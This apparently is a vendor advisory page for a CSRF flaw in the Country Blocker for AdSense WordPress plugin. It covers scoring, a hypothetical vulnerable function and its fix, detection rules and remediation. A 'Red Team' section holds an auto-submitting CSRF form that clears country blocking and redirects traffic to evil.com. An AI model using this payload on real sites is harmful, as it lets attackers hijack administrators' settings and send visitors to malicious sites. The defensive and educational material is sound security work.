CVE-2025-13413
Executive Summary
CVE-2025-13413 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the Country Blocker for AdSense WordPress plugin, affecting all versions up to and including 1.0. The vulnerability resides in the CBFA_guardar_cbfa() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator (e.g., via a malicious link), can modify the plugin’s settings. The CVSS v3.1 base score is 4.3 (Medium), with the attack vector being network-based, low complexity, and requiring user interaction. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Since the plugin is unmaintained and unpatched, it poses a supply chain risk to any WordPress site using it. Administrators should consider removing the plugin entirely or implementing a Web Application Firewall (WAF) rule to block malicious requests targeting the vulnerable function.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: Low (I:L) – Plugin settings can be altered, potentially disabling geo-blocking or redirecting traffic.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the impact is limited to settings modification, an attacker could disable the country blocking feature, allowing unwanted traffic or bypassing intended restrictions.
Deep Dive & Mechanics
The vulnerability is a classic CSRF in the WordPress plugin ecosystem. The CBFA_guardar_cbfa() function is responsible for saving plugin settings (e.g., allowed/blocked countries, redirect URLs). In a secure implementation, this function would verify a nonce (a one-time token) to ensure the request originated from the legitimate admin panel. However, the plugin omits this check, making it possible for an attacker to craft a malicious HTML page or link that, when visited by an authenticated admin, submits a forged POST request to the vulnerable endpoint.
Attack Flow:
- The attacker identifies a WordPress site using the vulnerable plugin.
- The attacker crafts a malicious link or embeds a hidden form on an external site.
- The attacker tricks an admin (e.g., via phishing email) into clicking the link or visiting the page while logged into WordPress.
- The forged request modifies the plugin settings (e.g., disables blocking, changes redirect URL).
- The attacker can then bypass country restrictions or redirect traffic to malicious sites.
Root Cause: Missing nonce validation in CBFA_guardar_cbfa().
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only reference. The fix would involve adding a nonce check.
Vulnerable Code (hypothetical based on typical WordPress plugin structure):
function CBFA_guardar_cbfa() {
// Missing nonce verification
if (isset($_POST['cbfa_settings'])) {
update_option('cbfa_settings', $_POST['cbfa_settings']);
}
}
Patched Code (recommended fix):
function CBFA_guardar_cbfa() {
// Add nonce verification
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'cbfa_save_settings')) {
wp_die('Security check failed.');
}
if (isset($_POST['cbfa_settings'])) {
update_option('cbfa_settings', $_POST['cbfa_settings']);
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Since no public exploit code exists, a manual CSRF attack can be demonstrated.
Step 1: Identify the vulnerable endpoint.
The plugin likely uses an admin-ajax or admin-post action. For example, admin-post.php?action=cbfa_save_settings.
Step 2: Craft a CSRF payload.
Create an HTML file that auto-submits a form to the vulnerable endpoint.
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="cbfa_save_settings">
<input type="hidden" name="cbfa_settings[blocked_countries]" value="">
<input type="hidden" name="cbfa_settings[redirect_url]" value="http://evil.com">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Step 3: Host the file and send the link to an admin.
Step 4: Once the admin clicks, the settings are overwritten.
Blue Team (Defense & Detection)
- Monitor for unusual admin-post.php requests with
action=cbfa_save_settingsfrom unexpected referrers. - Implement CSRF tokens on all admin forms (if you maintain the plugin).
- Use a Web Application Firewall (WAF) to block requests to
admin-post.phpthat lack a valid nonce (though this is difficult without modifying the plugin). - Educate administrators to avoid clicking suspicious links while logged into WordPress.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwith parameteraction=cbfa_save_settingsand no valid_wpnonce. - File: Presence of the plugin directory
/wp-content/plugins/country-blocker-for-adsense/. - Log: WordPress debug log entries showing unexpected settings changes.
- Behavior: Sudden changes in country blocking behavior or redirect URLs.
Detection Engineering
YARA Rule
rule CVE_2025_13413_CSRF_WordPress {
meta:
description = "Detects vulnerable Country Blocker for AdSense plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13413"
strings:
$func = "CBFA_guardar_cbfa" nocase
$nonce_missing = "wp_verify_nonce" nocase
condition:
$func and not $nonce_missing
}
Sigma Rule
title: CVE-2025-13413 - CSRF in Country Blocker for AdSense
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable admin-post action without a nonce.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-13413
tags:
- attack.t1190
- cve.2025.13413
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=cbfa_save_settings'
filter:
cs-uri-query|contains: '_wpnonce'
condition: selection and not filter
falsepositives:
- Legitimate admin actions (if nonce is present)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13413 - CSRF Attempt on Country Blocker for AdSense"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=cbfa_save_settings"; http_client_body; pcre:"/^(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Deactivate and delete the plugin from all WordPress installations. No patch is available.
- Alternative: If the plugin is critical, implement a custom nonce check by forking the plugin or using a WordPress security plugin that adds CSRF protection.
- WAF Rule: Block POST requests to
/wp-admin/admin-post.phpthat containaction=cbfa_save_settingsunless they include a valid nonce. - User Education: Train administrators to recognize phishing attempts and avoid clicking links while logged into WordPress.
- Monitoring: Enable logging for admin-post actions and review for anomalies.
Valters IT
Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.